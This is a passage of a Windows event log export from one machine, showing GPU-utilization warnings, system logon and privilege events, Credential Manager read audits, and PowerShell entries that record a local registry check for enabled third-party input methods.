08:40:26.320\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:26.546\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:26.768\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:26.988\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:27.434\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:28.220\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:32.865\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:33.093\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:33.698\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.698\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.737\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.737\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.737\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.757\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.757\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:33.757\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:34.604\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:34.605\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:34.609\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:34.609\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:40:37.434\t800\tMaintenance state changed to 3 (Last Run: \u200e05.\u200e09.\u200e2026 8:40).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:40:37.474\t800\tMaintenance state changed to 1 (Last Run: \u200e05.\u200e09.\u200e2026 8:40).\tInformation\tMicrosoft-Windows-TaskScheduler/Maintenance\tMicrosoft-Windows-TaskScheduler\n05.09.2026 08:40:40.302\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:40:44.880\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:40:55.665\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:03.721\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:41:03.721\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:41:04.024\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:04.246\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:04.475\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:04.910\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:05.134\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:05.243\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:05.467\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:05.914\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:06.140\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:06.252\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:06.358\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:06.474\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:07.072\t4009\tDcSvc: Service status updated. Current state: (0x3), Exit code: (0x0), Wait hint: (0x0).\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:41:07.074\t4009\tDcSvc: Service status updated. Current state: (0x1), Exit code: (0x0), Wait hint: (0x0).\tInformation\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider/Operational\tMicrosoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider\n05.09.2026 08:41:07.608\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:36.784\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:36.990\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, NetAdapterCim, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:41:37.102\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:37.431\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:37.642\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:37.866\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:38.088\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:40.204\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:40.977\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:41.628\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:42.517\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:44.079\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:44.741\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:44.905\t3056\tTile Notification are being cleared for MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets - informed session 3.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:41:48.969\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:49.638\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:50.533\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:51.748\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:52.524\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:52.744\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:53.862\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:55.778\t40961\tPowerShell console is starting up\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:55.817\t53504\tWindows PowerShell has started an IPC listening thread on process: 11000 in AppDomain: DefaultAppDomain.\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:55.834\t600\t\"Provider \"\"Registry\"\" is Started. \n\nDetails: \n\tProviderName=Registry\n\tNewProviderState=Started\n\n\tSequenceNumber=1\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.835\t600\t\"Provider \"\"Alias\"\" is Started. \n\nDetails: \n\tProviderName=Alias\n\tNewProviderState=Started\n\n\tSequenceNumber=3\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.835\t600\t\"Provider 